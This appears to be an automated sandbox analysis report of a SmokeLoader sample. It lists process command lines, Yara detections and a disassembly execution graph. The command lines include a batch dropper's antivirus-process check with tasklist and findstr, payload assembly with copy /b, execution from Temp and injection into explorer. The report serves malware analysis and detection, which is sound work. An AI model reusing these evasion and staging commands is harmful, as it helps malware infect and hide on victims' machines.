                                                                                                                                                              File size:758'801 bytes
                                                                                                                                                              MD5 hash:211DD0CC3DA148C5BC61389693FD284F
                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                              Reputation:low
                                                                                                                                                              Has exited:true

                                                                                                                                                              General

                                                                                                                                                              Target ID:2
                                                                                                                                                              Start time:05:20:17
                                                                                                                                                              Start date:20/11/2024
                                                                                                                                                              Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                              Commandline:"C:\Windows\System32\cmd.exe" /c copy Frequently Frequently.cmd & Frequently.cmd
                                                                                                                                                              Imagebase:0xa40000
                                                                                                                                                              File size:236'544 bytes
                                                                                                                                                              MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                              Reputation:high
                                                                                                                                                              Has exited:true

                                                                                                                                                              General

                                                                                                                                                              Target ID:3
                                                                                                                                                              Start time:05:20:18
                                                                                                                                                              Start date:20/11/2024
                                                                                                                                                              Path:C:\Windows\System32\conhost.exe
                                                                                                                                                              Wow64 process (32bit):false
                                                                                                                                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                              Imagebase:0x7ff6ee680000
                                                                                                                                                              File size:862'208 bytes
                                                                                                                                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                              Reputation:high
                                                                                                                                                              Has exited:true

                                                                                                                                                              General

                                                                                                                                                              Target ID:4
                                                                                                                                                              Start time:05:20:19
                                                                                                                                                              Start date:20/11/2024
                                                                                                                                                              Path:C:\Windows\SysWOW64\tasklist.exe
                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                              Commandline:tasklist
                                                                                                                                                              Imagebase:0x70000
                                                                                                                                                              File size:79'360 bytes
                                                                                                                                                              MD5 hash:0A4448B31CE7F83CB7691A2657F330F1
                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                              Reputation:high
                                                                                                                                                              Has exited:true

                                                                                                                                                              General

                                                                                                                                                              Target ID:5
                                                                                                                                                              Start time:05:20:19
                                                                                                                                                              Start date:20/11/2024
                                                                                                                                                              Path:C:\Windows\SysWOW64\findstr.exe
                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                              Commandline:findstr /I "wrsa opssvc"
                                                                                                                                                              Imagebase:0x8e0000
                                                                                                                                                              File size:29'696 bytes
                                                                                                                                                              MD5 hash:F1D4BE0E99EC734376FDE474A8D4EA3E
                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                              Reputation:high
                                                                                                                                                              Has exited:true

                                                                                                                                                              General

                                                                                                                                                              Target ID:6
                                                                                                                                                              Start time:05:20:19
                                                                                                                                                              Start date:20/11/2024
                                                                                                                                                              Path:C:\Windows\SysWOW64\tasklist.exe
                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                              Commandline:tasklist
                                                                                                                                                              Imagebase:0x70000
                                                                                                                                                              File size:79'360 bytes
                                                                                                                                                              MD5 hash:0A4448B31CE7F83CB7691A2657F330F1
                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                              Reputation:high
                                                                                                                                                              Has exited:true

                                                                                                                                                              General

                                                                                                                                                              Target ID:7
                                                                                                                                                              Start time:05:20:19
                                                                                                                                                              Start date:20/11/2024
                                                                                                                                                              Path:C:\Windows\SysWOW64\findstr.exe
                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                              Commandline:findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
                                                                                                                                                              Imagebase:0x8e0000
                                                                                                                                                              File size:29'696 bytes
                                                                                                                                                              MD5 hash:F1D4BE0E99EC734376FDE474A8D4EA3E
                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                              Reputation:high
                                                                                                                                                              Has exited:true

                                                                                                                                                              General

                                                                                                                                                              Target ID:8
                                                                                                                                                              Start time:05:20:20
                                                                                                                                                              Start date:20/11/2024
                                                                                                                                                              Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                              Commandline:cmd /c md 390641
                                                                                                                                                              Imagebase:0xa40000
                                                                                                                                                              File size:236'544 bytes
                                                                                                                                                              MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                              Reputation:high
                                                                                                                                                              Has exited:true

                                                                                                                                                              General

                                                                                                                                                              Target ID:9
                                                                                                                                                              Start time:05:20:20
                                                                                                                                                              Start date:20/11/2024
                                                                                                                                                              Path:C:\Windows\SysWOW64\findstr.exe
                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                              Commandline:findstr /V "ConventionTroopsStudiedTooth" Version
                                                                                                                                                              Imagebase:0x8e0000
                                                                                                                                                              File size:29'696 bytes
                                                                                                                                                              MD5 hash:F1D4BE0E99EC734376FDE474A8D4EA3E
                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                              Reputation:high
                                                                                                                                                              Has exited:true

                                                                                                                                                              General

                                                                                                                                                              Target ID:10
                                                                                                                                                              Start time:05:20:20
                                                                                                                                                              Start date:20/11/2024
                                                                                                                                                              Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                              Commandline:cmd /c copy /b ..\Accessing + ..\Entire + ..\Peripherals + ..\Et B
                                                                                                                                                              Imagebase:0xa40000
                                                                                                                                                              File size:236'544 bytes
                                                                                                                                                              MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                              Reputation:high
                                                                                                                                                              Has exited:true

                                                                                                                                                              General

                                                                                                                                                              Target ID:11
                                                                                                                                                              Start time:05:20:20
                                                                                                                                                              Start date:20/11/2024
                                                                                                                                                              Path:C:\Users\user\AppData\Local\Temp\390641\Imposed.com
                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                              Commandline:Imposed.com B
                                                                                                                                                              Imagebase:0x990000
                                                                                                                                                              File size:943'784 bytes
                                                                                                                                                              MD5 hash:78BA0653A340BAC5FF152B21A83626CC
                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                              Antivirus matches:
                                                                                                                                                              • Detection: 5%, ReversingLabs
                                                                                                                                                              Reputation:moderate
                                                                                                                                                              Has exited:true

                                                                                                                                                              General

                                                                                                                                                              Target ID:12
                                                                                                                                                              Start time:05:20:20
                                                                                                                                                              Start date:20/11/2024
                                                                                                                                                              Path:C:\Windows\SysWOW64\choice.exe
                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                              Commandline:choice /d y /t 5
                                                                                                                                                              Imagebase:0xda0000
                                                                                                                                                              File size:28'160 bytes
                                                                                                                                                              MD5 hash:FCE0E41C87DC4ABBE976998AD26C27E4
                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                              Has exited:true

                                                                                                                                                              General

                                                                                                                                                              Target ID:14
                                                                                                                                                              Start time:05:20:37
                                                                                                                                                              Start date:20/11/2024
                                                                                                                                                              Path:C:\Users\user\AppData\Local\Temp\390641\Imposed.com
                                                                                                                                                              Wow64 process (32bit):false
                                                                                                                                                              Commandline:C:\Users\user\AppData\Local\Temp\390641\Imposed.com
                                                                                                                                                              Imagebase:0x990000
                                                                                                                                                              File size:943'784 bytes
                                                                                                                                                              MD5 hash:78BA0653A340BAC5FF152B21A83626CC
                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                              Has exited:true

                                                                                                                                                              General

                                                                                                                                                              Target ID:15
                                                                                                                                                              Start time:05:20:37
                                                                                                                                                              Start date:20/11/2024
                                                                                                                                                              Path:C:\Users\user\AppData\Local\Temp\390641\Imposed.com
                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                              Commandline:C:\Users\user\AppData\Local\Temp\390641\Imposed.com
                                                                                                                                                              Imagebase:0x990000
                                                                                                                                                              File size:943'784 bytes
                                                                                                                                                              MD5 hash:78BA0653A340BAC5FF152B21A83626CC
                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                              Yara matches:
                                                                                                                                                              • Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000F.00000002.1812617875.0000000002C70000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 0000000F.00000002.1812617875.0000000002C70000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                              • Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000F.00000002.1812665092.0000000002C91000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 0000000F.00000002.1812665092.0000000002C91000.00000004.10000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                              Has exited:true

                                                                                                                                                              General

                                                                                                                                                              Target ID:16
                                                                                                                                                              Start time:05:20:48
                                                                                                                                                              Start date:20/11/2024
                                                                                                                                                              Path:C:\Windows\explorer.exe
                                                                                                                                                              Wow64 process (32bit):false
                                                                                                                                                              Commandline:C:\Windows\Explorer.EXE
                                                                                                                                                              Imagebase:0x7ff62d7d0000
                                                                                                                                                              File size:5'141'208 bytes
                                                                                                                                                              MD5 hash:662F4F92FDE3557E86D110526BB578D5
                                                                                                                                                              Has elevated privileges:false
                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                              Yara matches:
                                                                                                                                                              • Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000010.00000002.2737063558.0000000000BA1000.00000020.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000010.00000002.2737063558.0000000000BA1000.00000020.80000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                              Has exited:false

                                                                                                                                                              General

                                                                                                                                                              Target ID:19
                                                                                                                                                              Start time:05:21:07
                                                                                                                                                              Start date:20/11/2024
                                                                                                                                                              Path:C:\Users\user\AppData\Roaming\chhfaci
                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                              Commandline:C:\Users\user\AppData\Roaming\chhfaci
                                                                                                                                                              Imagebase:0x710000
                                                                                                                                                              File size:943'784 bytes
                                                                                                                                                              MD5 hash:78BA0653A340BAC5FF152B21A83626CC
                                                                                                                                                              Has elevated privileges:false
                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                              Antivirus matches:
                                                                                                                                                              • Detection: 5%, ReversingLabs
                                                                                                                                                              Has exited:false

                                                                                                                                                              General

                                                                                                                                                              Target ID:20
                                                                                                                                                              Start time:05:21:16
                                                                                                                                                              Start date:20/11/2024
                                                                                                                                                              Path:C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                              Commandline:C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                              Imagebase:0x190000
                                                                                                                                                              File size:4'514'184 bytes
                                                                                                                                                              MD5 hash:DD6597597673F72E10C9DE7901FBA0A8
                                                                                                                                                              Has elevated privileges:false
                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                              Has exited:true

                                                                                                                                                              General

                                                                                                                                                              Target ID:21
                                                                                                                                                              Start time:05:21:17
                                                                                                                                                              Start date:20/11/2024
                                                                                                                                                              Path:C:\Windows\explorer.exe
                                                                                                                                                              Wow64 process (32bit):false
                                                                                                                                                              Commandline:C:\Windows\explorer.exe
                                                                                                                                                              Imagebase:0x7ff62d7d0000
                                                                                                                                                              File size:5'141'208 bytes
                                                                                                                                                              MD5 hash:662F4F92FDE3557E86D110526BB578D5
                                                                                                                                                              Has elevated privileges:false
                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                              Has exited:true

                                                                                                                                                              General

                                                                                                                                                              Target ID:22
                                                                                                                                                              Start time:05:21:18
                                                                                                                                                              Start date:20/11/2024
                                                                                                                                                              Path:C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                              Commandline:C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                              Imagebase:0x190000
                                                                                                                                                              File size:4'514'184 bytes
                                                                                                                                                              MD5 hash:DD6597597673F72E10C9DE7901FBA0A8
                                                                                                                                                              Has elevated privileges:false
                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                              Has exited:false

                                                                                                                                                              General

                                                                                                                                                              Target ID:23
                                                                                                                                                              Start time:05:21:19
                                                                                                                                                              Start date:20/11/2024
                                                                                                                                                              Path:C:\Windows\explorer.exe
                                                                                                                                                              Wow64 process (32bit):false
                                                                                                                                                              Commandline:C:\Windows\explorer.exe
                                                                                                                                                              Imagebase:0x7ff62d7d0000
                                                                                                                                                              File size:5'141'208 bytes
                                                                                                                                                              MD5 hash:662F4F92FDE3557E86D110526BB578D5
                                                                                                                                                              Has elevated privileges:false
                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                              Has exited:false

                                                                                                                                                              General

                                                                                                                                                              Target ID:24
                                                                                                                                                              Start time:05:21:21
                                                                                                                                                              Start date:20/11/2024
                                                                                                                                                              Path:C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                              Commandline:C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                              Imagebase:0x190000
                                                                                                                                                              File size:4'514'184 bytes
                                                                                                                                                              MD5 hash:DD6597597673F72E10C9DE7901FBA0A8
                                                                                                                                                              Has elevated privileges:false
                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                              Yara matches:
                                                                                                                                                              • Rule: JoeSecurity_SmokeLoader, Description: Yara detected SmokeLoader, Source: 00000018.00000002.2734343773.0000000002B71000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                              Has exited:false

                                                                                                                                                              General

                                                                                                                                                              Target ID:25
                                                                                                                                                              Start time:05:21:22
                                                                                                                                                              Start date:20/11/2024
                                                                                                                                                              Path:C:\Windows\explorer.exe
                                                                                                                                                              Wow64 process (32bit):false
                                                                                                                                                              Commandline:C:\Windows\explorer.exe
                                                                                                                                                              Imagebase:0x7ff62d7d0000
                                                                                                                                                              File size:5'141'208 bytes
                                                                                                                                                              MD5 hash:662F4F92FDE3557E86D110526BB578D5
                                                                                                                                                              Has elevated privileges:false
                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                              Yara matches:
                                                                                                                                                              • Rule: JoeSecurity_SmokeLoader, Description: Yara detected SmokeLoader, Source: 00000019.00000002.2734174203.0000000000131000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                              Has exited:false

                                                                                                                                                              General

                                                                                                                                                              Target ID:26
                                                                                                                                                              Start time:05:21:23
                                                                                                                                                              Start date:20/11/2024
                                                                                                                                                              Path:C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                              Commandline:C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                              Imagebase:0x190000
                                                                                                                                                              File size:4'514'184 bytes
                                                                                                                                                              MD5 hash:DD6597597673F72E10C9DE7901FBA0A8
                                                                                                                                                              Has elevated privileges:false
                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                              Has exited:false

                                                                                                                                                              Disassembly

                                                                                                                                                              Reset < >

                                                                                                                                                                Execution Graph

                                                                                                                                                                Execution Coverage:17.8%
                                                                                                                                                                Dynamic/Decrypted Code Coverage:0%
                                                                                                                                                                Signature Coverage:20.7%
                                                                                                                                                                Total number of Nodes:1526
                                                                                                                                                                Total number of Limit Nodes:33
                                                                                                                                                                execution_graph 4342 402fc0 4343 401446 18 API calls 4342->4343 4344 402fc7 4343->4344 4345 403017 4344->4345 4346 40300a 4344->4346 4349 401a13 4344->4349 4347 406805 18 API calls 4345->4347 4348 401446 18 API calls 4346->4348 4347->4349 4348->4349 4350 4023c1 4351 40145c 18 API calls 4350->4351 4352 4023c8 4351->4352 4355 40726a 4352->4355 4358 406ed2 CreateFileW 4355->4358 4359 406f04 4358->4359 4360 406f1e ReadFile 4358->4360 4361 4062a3 11 API calls 4359->4361 4362 4023d6 4360->4362 4365 406f84 4360->4365 4361->4362 4363 4071e3 CloseHandle 4363->4362 4364 406f9b ReadFile lstrcpynA lstrcmpA 4364->4365 4366 406fe2 SetFilePointer ReadFile 4364->4366 4365->4362 4365->4363 4365->4364 4369 406fdd 4365->4369 4366->4363 4367 4070a8 ReadFile 4366->4367 4368 407138 4367->4368 4368->4367 4368->4369 4370 40715f SetFilePointer GlobalAlloc ReadFile 4368->4370 4369->4363 4371 4071a3 4370->4371 4372 4071bf lstrcpynW GlobalFree 4370->4372 4371->4371 4371->4372 4372->4363 4373 401cc3 4374 40145c 18 API calls 4373->4374 4375 401cca lstrlenW 4374->4375 4376 4030dc 4375->4376 4377 4030e3 4376->4377 4379 405f51 wsprintfW 4376->4379 4379->4377 4394 401c46 4395 40145c 18 API calls 4394->4395 4396 401c4c 4395->4396 4397 4062a3 11 API calls 4396->4397 4398 401c59 4397->4398 4399 406c9b 81 API calls 4398->4399 4400 401c64 4399->4400 4401 403049 4402 401446 18 API calls 4401->4402 4405 403050 4402->4405 4403 406805 18 API calls 4404 401a13 4403->4404 4405->4403 4405->4404 4406 40204a 4407 401446 18 API calls 4406->4407 4408 402051 IsWindow 4407->4408 4409 4018d3 4408->4409 4410 40324c 4411 403277 4410->4411 4412 40325e SetTimer 4410->4412 4413 4032cc 4411->4413 4414 403291 MulDiv wsprintfW SetWindowTextW SetDlgItemTextW 4411->4414 4412->4411 4414->4413 4415 4048cc 4416 4048f1 4415->4416 4417 4048da 4415->4417 4419 4048ff IsWindowVisible 4416->4419 4423 404916 4416->4423 4418 4048e0 4417->4418 4433 40495a 4417->4433 4420 403daf SendMessageW 4418->4420 4422 40490c 4419->4422 4419->4433 4424 4048ea 4420->4424 4421 404960 CallWindowProcW 4421->4424 4434 40484e SendMessageW 4422->4434 4423->4421 4439 406009 lstrcpynW 4423->4439 4427 404945 4440 405f51 wsprintfW 4427->4440 4429 40494c 4430 40141d 80 API calls 4429->4430 4431 404953 4430->4431 4441 406009 lstrcpynW 4431->4441 4433->4421 4435 404871 GetMessagePos ScreenToClient SendMessageW 4434->4435 4436 4048ab SendMessageW 4434->4436 4437 4048a3 4435->4437 4438 4048a8 4435->4438 4436->4437 4437->4423 4438->4436 4439->4427 4440->4429 4441->4433 4442 4022cc 4443 40145c 18 API calls 4442->4443 4444 4022d3 4443->4444 4445 4062d5 2 API calls 4444->4445 4446 4022d9 4445->4446 4447 4022e8 4446->4447 4451 405f51 wsprintfW 4446->4451 4450 4030e3 4447->4450 4452 405f51 wsprintfW 4447->4452 4451->4447 4452->4450 4222 4050cd 4223 405295 4222->4223 4224 4050ee GetDlgItem GetDlgItem GetDlgItem 4222->4224 4225 4052c6 4223->4225 4226 40529e GetDlgItem CreateThread CloseHandle 4223->4226 4271 403d98 SendMessageW 4224->4271 4228 4052f4 4225->4228 4230 4052e0 ShowWindow ShowWindow 4225->4230 4231 405316 4225->4231 4226->4225 4274 405047 83 API calls 4226->4274 4232 405352 4228->4232 4234 405305 4228->4234 4235 40532b ShowWindow 4228->4235 4229 405162 4242 406805 18 API calls 4229->4242 4273 403d98 SendMessageW 4230->4273 4236 403dca 8 API calls 4231->4236 4232->4231 4237 40535d SendMessageW 4232->4237 4238 403d18 SendMessageW 4234->4238 4240 40534b 4235->4240 4241 40533d 4235->4241 4239 40528e 4236->4239 4237->4239 4244 405376 CreatePopupMenu 4237->4244 4238->4231 4243 403d18 SendMessageW 4240->4243 4245 404f72 25 API calls 4241->4245 4246 405181 4242->4246 4243->4232 4247 406805 18 API calls 4244->4247 4245->4240 4248 4062a3 11 API calls 4246->4248 4250 405386 AppendMenuW 4247->4250 4249 40518c GetClientRect GetSystemMetrics SendMessageW SendMessageW 4248->4249 4251 4051f3 4249->4251 4252 4051d7 SendMessageW SendMessageW 4249->4252 4253 405399 GetWindowRect 4250->4253 4254 4053ac 4250->4254 4255 405206 4251->4255 4256 4051f8 SendMessageW 4251->4256 4252->4251 4257 4053b3 TrackPopupMenu 4253->4257 4254->4257 4258 403d3f 19 API calls 4255->4258 4256->4255 4257->4239 4259 4053d1 4257->4259 4260 405216 4258->4260 4261 4053ed SendMessageW 4259->4261 4262 405253 GetDlgItem SendMessageW 4260->4262 4263 40521f ShowWindow 4260->4263 4261->4261 4264 40540a OpenClipboard EmptyClipboard GlobalAlloc GlobalLock 4261->4264 4262->4239 4267 405276 SendMessageW SendMessageW 4262->4267 4265 405242 4263->4265 4266 405235 ShowWindow 4263->4266 4268 40542f SendMessageW 4264->4268 4272 403d98 SendMessageW 4265->4272 4266->4265 4267->4239 4268->4268 4269 40545a GlobalUnlock SetClipboardData CloseClipboard 4268->4269 4269->4239 4271->4229 4272->4262 4273->4228 4453 4030cf 4454 40145c 18 API calls 4453->4454 4455 4030d6 4454->4455 4457 4030dc 4455->4457 4460 4063ac GlobalAlloc lstrlenW 4455->4460 4458 4030e3 4457->4458 4487 405f51 wsprintfW 4457->4487 4461 4063e2 4460->4461 4462 406434 4460->4462 4463 40640f GetVersionExW 4461->4463 4488 40602b CharUpperW 4461->4488 4462->4457 4463->4462 4464 40643e 4463->4464 4465 406464 LoadLibraryA 4464->4465 4466 40644d 4464->4466 4465->4462 4469 406482 GetProcAddress GetProcAddress GetProcAddress 4465->4469 4466->4462 4468 406585 GlobalFree 4466->4468 4470 40659b LoadLibraryA 4468->4470 4471 4066dd FreeLibrary 4468->4471 4474 4064aa 4469->4474 4477 4065f5 4469->4477 4470->4462 4473 4065b5 GetProcAddress GetProcAddress GetProcAddress GetProcAddress GetProcAddress 4470->4473 4471->4462 4472 406651 FreeLibrary 4481 40662a 4472->4481 4473->4477 4475 4064ce FreeLibrary GlobalFree 4474->4475 4474->4477 4483 4064ea 4474->4483 4475->4462 4476 4066ea 4479 4066ef CloseHandle FreeLibrary 4476->4479 4477->4472 4477->4481 4478 4064fc lstrcpyW OpenProcess 4480 40654f CloseHandle CharUpperW lstrcmpW 4478->4480 4478->4483 4482 406704 CloseHandle 4479->4482 4480->4477 4480->4483 4481->4476 4484 406685 lstrcmpW 4481->4484 4485 4066b6 CloseHandle 4481->4485 4486 4066d4 CloseHandle 4481->4486 4482->4479 4483->4468 4483->4478 4483->4480 4484->4481 4484->4482 4485->4481 4486->4471 4487->4458 4488->4461 4489 407752 4493 407344 4489->4493 4490 407c6d 4491 4073c2 GlobalFree 4492 4073cb GlobalAlloc 4491->4492 4492->4490 4492->4493 4493->4490 4493->4491 4493->4492 4493->4493 4494 407443 GlobalAlloc 4493->4494 4495 40743a GlobalFree 4493->4495 4494->4490 4494->4493 4495->4494 4496 401dd3 4497 401446 18 API calls 4496->4497 4498 401dda 4497->4498 4499 401446 18 API calls 4498->4499 4500 4018d3 4499->4500 4508 402e55 4509 40145c 18 API calls 4508->4509 4510 402e63 4509->4510 4511 402e79 4510->4511 4512 40145c 18 API calls 4510->4512 4513 405e30 2 API calls 4511->4513 4512->4511 4514 402e7f 4513->4514 4538 405e50 GetFileAttributesW CreateFileW 4514->4538 4516 402e8c 4517 402f35 4516->4517 4518 402e98 GlobalAlloc 4516->4518 4521 4062a3 11 API calls 4517->4521 4519 402eb1 4518->4519 4520 402f2c CloseHandle 4518->4520 4539 403368 SetFilePointer 4519->4539 4520->4517 4523 402f45 4521->4523 4525 402f50 DeleteFileW 4523->4525 4526 402f63 4523->4526 4524 402eb7 4528 403336 ReadFile 4524->4528 4525->4526 4540 401435 4526->4540 4529 402ec0 GlobalAlloc 4528->4529 4530 402ed0 4529->4530 4531 402f04 WriteFile GlobalFree 4529->4531 4532 40337f 37 API calls 4530->4532 4533 40337f 37 API calls 4531->4533 4537 402edd 4532->4537 4534 402f29 4533->4534 4534->4520 4536 402efb GlobalFree 4536->4531 4537->4536 4538->4516 4539->4524 4541 404f72 25 API calls 4540->4541 4542 401443 4541->4542 4543 401cd5 4544 401446 18 API calls 4543->4544 4545 401cdd 4544->4545 4546 401446 18 API calls 4545->4546 4547 401ce8 4546->4547 4548 40145c 18 API calls 4547->4548 4549 401cf1 4548->4549 4550 401d07 lstrlenW 4549->4550 4551 401d43 4549->4551 4552 401d11 4550->4552 4552->4551 4556 406009 lstrcpynW 4552->4556 4554 401d2c 4554->4551 4555 401d39 lstrlenW 4554->4555 4555->4551 4556->4554 4557 403cd6 4558 403ce1 4557->4558 4559 403ce5 4558->4559 4560 403ce8 GlobalAlloc 4558->4560 4560->4559 4561 402cd7 4562 401446 18 API calls 4561->4562 4565 402c64 4562->4565 4563 402d99 4564 402d17 ReadFile 4564->4565 4565->4561 4565->4563 4565->4564 4566 402dd8 4567 402ddf 4566->4567 4568 4030e3 4566->4568 4569 402de5 FindClose 4567->4569 4569->4568 4570 401d5c 4571 40145c 18 API calls 4570->4571 4572 401d63 4571->4572 4573 40145c 18 API calls 4572->4573 4574 401d6c 4573->4574 4575 401d73 lstrcmpiW 4574->4575 4576 401d86 lstrcmpW 4574->4576 4577 401d79 4575->4577 4576->4577 4578 401c99 4576->4578 4577->4576 4577->4578 4280 407c5f 4281 407344 4280->4281 4282 4073c2 GlobalFree 4281->4282 4283 4073cb GlobalAlloc 4281->4283 4284 407c6d 4281->4284 4285 407443 GlobalAlloc 4281->4285 4286 40743a GlobalFree 4281->4286 4282->4283 4283->4281 4283->4284 4285->4281 4285->4284 4286->4285 4579 404363 4580 404373 4579->4580 4581 40439c 4579->4581 4583 403d3f 19 API calls 4580->4583 4582 403dca 8 API calls 4581->4582 4584 4043a8 4582->4584 4585 404380 SetDlgItemTextW 4583->4585 4585->4581 4586 4027e3 4587 4027e9 4586->4587 4588 4027f2 4587->4588 4589 402836 4587->4589 4602 401553 4588->4602 4590 40145c 18 API calls 4589->4590 4592 40283d 4590->4592 4594 4062a3 11 API calls 4592->4594 4593 4027f9 4595 40145c 18 API calls 4593->4595 4600 401a13 4593->4600 4596 40284d 4594->4596 4597 40280a RegDeleteValueW 4595->4597 4606 40149d RegOpenKeyExW 4596->4606 4598 4062a3 11 API calls 4597->4598 4601 40282a RegCloseKey 4598->4601 4601->4600 4603 401563 4602->4603 4604 40145c 18 API calls 4603->4604 4605 401589 RegOpenKeyExW 4604->4605 4605->4593 4612 401515 4606->4612 4614 4014c9 4606->4614 4607 4014ef RegEnumKeyW 4608 401501 RegCloseKey 4607->4608 4607->4614 4609 4062fc 3 API calls 4608->4609 4611 401511 4609->4611 4610 401526 RegCloseKey 4610->4612 4611->4612 4615 401541 RegDeleteKeyW 4611->4615 4612->4600 4613 40149d 3 API calls 4613->4614 4614->4607 4614->4608 4614->4610 4614->4613 4615->4612 4616 403f64 4617 403f90 4616->4617 4618 403f74 4616->4618 4620 403fc3 4617->4620 4621 403f96 SHGetPathFromIDListW 4617->4621 4627 405c84 GetDlgItemTextW 4618->4627 4623 403fad SendMessageW 4621->4623 4624 403fa6 4621->4624 4622 403f81 SendMessageW 4622->4617 4623->4620 4625 40141d 80 API calls 4624->4625 4625->4623 4627->4622 4628 402ae4 4629 402aeb 4628->4629 4630 4030e3 4628->4630 4631 402af2 CloseHandle 4629->4631 4631->4630 4632 402065 4633 401446 18 API calls 4632->4633 4634 40206d 4633->4634 4635 401446 18 API calls 4634->4635 4636 402076 GetDlgItem 4635->4636 4637 4030dc 4636->4637 4638 4030e3 4637->4638 4640 405f51 wsprintfW 4637->4640 4640->4638 4641 402665 4642 40145c 18 API calls 4641->4642 4643 40266b 4642->4643 4644 40145c 18 API calls 4643->4644 4645 402674 4644->4645 4646 40145c 18 API calls 4645->4646 4647 40267d 4646->4647 4648 4062a3 11 API calls 4647->4648 4649 40268c 4648->4649 4650 4062d5 2 API calls 4649->4650 4651 402695 4650->4651 4652 4026a6 lstrlenW lstrlenW 4651->4652 4653 404f72 25 API calls 4651->4653 4656 4030e3 4651->4656 4654 404f72 25 API calls 